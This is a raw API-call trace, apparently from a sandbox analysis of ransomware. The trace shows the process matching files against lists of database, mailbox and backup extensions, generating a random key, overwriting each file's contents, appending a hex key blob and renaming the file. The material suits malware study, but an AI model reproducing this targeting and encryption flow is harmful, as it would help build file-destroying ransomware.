	[0141.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".edb") returned 0x0
	[0141.063] lstrlenW (lpString=".PST") returned 4
	[0141.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".PST") returned 0x0
	[0141.063] lstrlenW (lpString=".dbf") returned 4
	[0141.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".dbf") returned 0x0
	[0141.063] lstrlenW (lpString=".SQL") returned 4
	[0141.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".SQL") returned 0x0
	[0141.063] lstrlenW (lpString=".pst") returned 4
	[0141.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".pst") returned 0x0
	[0141.063] lstrlenW (lpString=".dbv") returned 4
	[0141.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".dbv") returned 0x0
	[0141.063] lstrlenW (lpString=".SDF") returned 4
	[0141.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".SDF") returned 0x0
	[0141.063] lstrlenW (lpString=".dtxs") returned 5
	[0141.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.064] lstrlenW (lpString=".db3") returned 4
	[0141.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".db3") returned 0x0
	[0141.064] lstrlenW (lpString=".OST") returned 4
	[0141.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".OST") returned 0x0
	[0141.064] lstrlenW (lpString=".dbx") returned 4
	[0141.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".dbx") returned 0x0
	[0141.064] lstrlenW (lpString=".DB3") returned 4
	[0141.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".DB3") returned 0x0
	[0141.064] lstrlenW (lpString=".DAT") returned 4
	[0141.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".DAT") returned 0x0
	[0141.064] lstrlenW (lpString=".VHDX") returned 5
	[0141.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.064] lstrlenW (lpString=".ndf") returned 4
	[0141.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".ndf") returned 0x0
	[0141.064] lstrlenW (lpString=".DB") returned 3
	[0141.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".DB") returned 0x0
	[0141.064] lstrlenW (lpString=".sql") returned 4
	[0141.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".sql") returned 0x0
	[0141.064] lstrlenW (lpString=".MYD") returned 4
	[0141.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".MYD") returned 0x0
	[0141.064] lstrlenW (lpString=".DBT") returned 4
	[0141.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".DBT") returned 0x0
	[0141.064] lstrlenW (lpString=".ACCDB") returned 6
	[0141.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.065] lstrlenW (lpString=".fdb") returned 4
	[0141.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".fdb") returned 0x0
	[0141.065] lstrlenW (lpString=".bak") returned 4
	[0141.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".bak") returned 0x0
	[0141.065] lstrlenW (lpString=".myd") returned 4
	[0141.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".myd") returned 0x0
	[0141.065] lstrlenW (lpString=".DTXS") returned 5
	[0141.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.065] lstrlenW (lpString=".ckp") returned 4
	[0141.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".ckp") returned 0x0
	[0141.065] lstrlenW (lpString=".dbt") returned 4
	[0141.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".dbt") returned 0x0
	[0141.065] lstrlenW (lpString=".db") returned 3
	[0141.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".db") returned 0x0
	[0141.065] lstrlenW (lpString=".TXT") returned 4
	[0141.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".TXT") returned 0x0
	[0141.065] lstrlenW (lpString=".MDF") returned 4
	[0141.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".MDF") returned 0x0
	[0141.065] lstrlenW (lpString=".bdb") returned 4
	[0141.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".bdb") returned 0x0
	[0141.065] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0141.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0141.066] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0141.067] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0141.067] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0141.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0141.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0141.067] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26105716082) returned 1
	[0141.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbd7d8d10, dwHighDateTime=0x1d60e1e)) 
	[0141.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0141.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0141.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0141.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2be0
	[0141.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2be0 | out: hHeap=0x300000) returned 1
	[0141.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ae620
	[0141.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0141.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae620 | out: hHeap=0x300000) returned 1
	[0141.068] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0141.068] GetLastError () returned 0x0
	[0141.068] GetLastError () returned 0x0
	[0141.068] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0141.068] GetLastError () returned 0x0
	[0141.069] GetLastError () returned 0x0
	[0141.069] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0xd4a3, lpOverlapped=0x0) returned 1
	[0141.072] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffff2b5d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.072] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xd4a3, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xd4a3, lpOverlapped=0x0) returned 1
	[0141.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0141.072] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.073] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.073] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.073] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.073] CloseHandle (hObject=0x114) returned 1
	[0141.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ae620
	[0141.073] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir37f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir37f.gif.~~~~")) returned 1
	[0141.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae620 | out: hHeap=0x300000) returned 1
	[0141.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0141.076] GetLastError () returned 0x0
	[0141.076] RtlWakeConditionVariable () returned 0x0
	[0141.076] GetCurrentThreadId () returned 0x9cc
	[0141.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".scr") returned 0x0
	[0141.076] lstrlenW (lpString=".cmd") returned 4
	[0141.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".cmd") returned 0x0
	[0141.076] lstrlenW (lpString=".dll") returned 4
	[0141.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".dll") returned 0x0
	[0141.076] lstrlenW (lpString=".bat") returned 4
	[0141.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".bat") returned 0x0
	[0141.076] lstrlenW (lpString=".cpl") returned 4
	[0141.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".cpl") returned 0x0
	[0141.077] lstrlenW (lpString=".sys") returned 4
	[0141.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".sys") returned 0x0
	[0141.077] lstrlenW (lpString=".msc") returned 4
	[0141.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".msc") returned 0x0
	[0141.077] lstrlenW (lpString=".com") returned 4
	[0141.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".com") returned 0x0
	[0141.077] lstrlenW (lpString=".lnk") returned 4
	[0141.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".lnk") returned 0x0
	[0141.077] lstrlenW (lpString=".msp") returned 4
	[0141.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".msp") returned 0x0
	[0141.077] lstrlenW (lpString=".pif") returned 4
	[0141.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".pif") returned 0x0
	[0141.077] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir38f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0141.079] lstrlenW (lpString=".sqb") returned 4
	[0141.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".sqb") returned 0x0
	[0141.079] lstrlenW (lpString=".ost") returned 4
	[0141.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".ost") returned 0x0
	[0141.080] lstrlenW (lpString=".txt") returned 4
	[0141.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".txt") returned 0x0
	[0141.080] lstrlenW (lpString=".mdt") returned 4
	[0141.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".mdt") returned 0x0
	[0141.080] lstrlenW (lpString=".BDB") returned 4
	[0141.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".BDB") returned 0x0
	[0141.080] lstrlenW (lpString=".eql") returned 4
	[0141.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".eql") returned 0x0
	[0141.080] lstrlenW (lpString=".DBF") returned 4
	[0141.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".DBF") returned 0x0
	[0141.080] lstrlenW (lpString=".EQL") returned 4
	[0141.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".EQL") returned 0x0
	[0141.080] lstrlenW (lpString=".FDB") returned 4
	[0141.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".FDB") returned 0x0
	[0141.080] lstrlenW (lpString=".EDB") returned 4
	[0141.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".EDB") returned 0x0
	[0141.080] lstrlenW (lpString=".DACPAC") returned 7
	[0141.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.080] lstrlenW (lpString=".VHD") returned 4
	[0141.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".VHD") returned 0x0
	[0141.080] lstrlenW (lpString=".DBV") returned 4
	[0141.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".DBV") returned 0x0
	[0141.080] lstrlenW (lpString=".dacpac") returned 7
	[0141.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.080] lstrlenW (lpString=".sdf") returned 4
	[0141.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".sdf") returned 0x0
	[0141.081] lstrlenW (lpString=".accdb") returned 6
	[0141.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".accdb") returned 0x0
	[0141.081] lstrlenW (lpString=".DBX") returned 4
	[0141.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".DBX") returned 0x0
	[0141.081] lstrlenW (lpString=".MDT") returned 4
	[0141.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".MDT") returned 0x0
	[0141.081] lstrlenW (lpString=".SQB") returned 4
	[0141.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".SQB") returned 0x0
	[0141.081] lstrlenW (lpString=".vhd") returned 4
	[0141.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".vhd") returned 0x0
	[0141.081] lstrlenW (lpString=".bac") returned 4
	[0141.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".bac") returned 0x0
	[0141.081] lstrlenW (lpString=".mdf") returned 4
	[0141.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".mdf") returned 0x0
	[0141.081] lstrlenW (lpString=".BAK") returned 4
	[0141.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".BAK") returned 0x0
	[0141.081] lstrlenW (lpString=".BAC") returned 4
	[0141.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".BAC") returned 0x0
	[0141.081] lstrlenW (lpString=".dbs") returned 4
	[0141.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".dbs") returned 0x0
	[0141.081] lstrlenW (lpString=".vhdx") returned 5
	[0141.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.081] lstrlenW (lpString=".NDF") returned 4
	[0141.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".NDF") returned 0x0
	[0141.081] lstrlenW (lpString=".dat") returned 4
	[0141.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".dat") returned 0x0
	[0141.082] lstrlenW (lpString=".DBS") returned 4
	[0141.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".DBS") returned 0x0
	[0141.082] lstrlenW (lpString=".CKP") returned 4
	[0141.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".CKP") returned 0x0
	[0141.082] lstrlenW (lpString=".edb") returned 4
	[0141.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".edb") returned 0x0
	[0141.082] lstrlenW (lpString=".PST") returned 4
	[0141.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".PST") returned 0x0
	[0141.082] lstrlenW (lpString=".dbf") returned 4
	[0141.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".dbf") returned 0x0
	[0141.082] lstrlenW (lpString=".SQL") returned 4
	[0141.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".SQL") returned 0x0
	[0141.082] lstrlenW (lpString=".pst") returned 4
	[0141.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".pst") returned 0x0
	[0141.082] lstrlenW (lpString=".dbv") returned 4
	[0141.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".dbv") returned 0x0
	[0141.082] lstrlenW (lpString=".SDF") returned 4
	[0141.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".SDF") returned 0x0
	[0141.082] lstrlenW (lpString=".dtxs") returned 5
	[0141.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.082] lstrlenW (lpString=".db3") returned 4
	[0141.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".db3") returned 0x0
	[0141.082] lstrlenW (lpString=".OST") returned 4
	[0141.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".OST") returned 0x0
	[0141.083] lstrlenW (lpString=".dbx") returned 4
	[0141.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".dbx") returned 0x0
	[0141.083] lstrlenW (lpString=".DB3") returned 4
	[0141.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".DB3") returned 0x0
	[0141.083] lstrlenW (lpString=".DAT") returned 4
	[0141.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".DAT") returned 0x0
	[0141.083] lstrlenW (lpString=".VHDX") returned 5
	[0141.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.083] lstrlenW (lpString=".ndf") returned 4
	[0141.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".ndf") returned 0x0
	[0141.083] lstrlenW (lpString=".DB") returned 3
	[0141.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".DB") returned 0x0
	[0141.083] lstrlenW (lpString=".sql") returned 4
	[0141.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".sql") returned 0x0
	[0141.083] lstrlenW (lpString=".MYD") returned 4
	[0141.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".MYD") returned 0x0
	[0141.083] lstrlenW (lpString=".DBT") returned 4
	[0141.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".DBT") returned 0x0
	[0141.083] lstrlenW (lpString=".ACCDB") returned 6
	[0141.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.083] lstrlenW (lpString=".fdb") returned 4
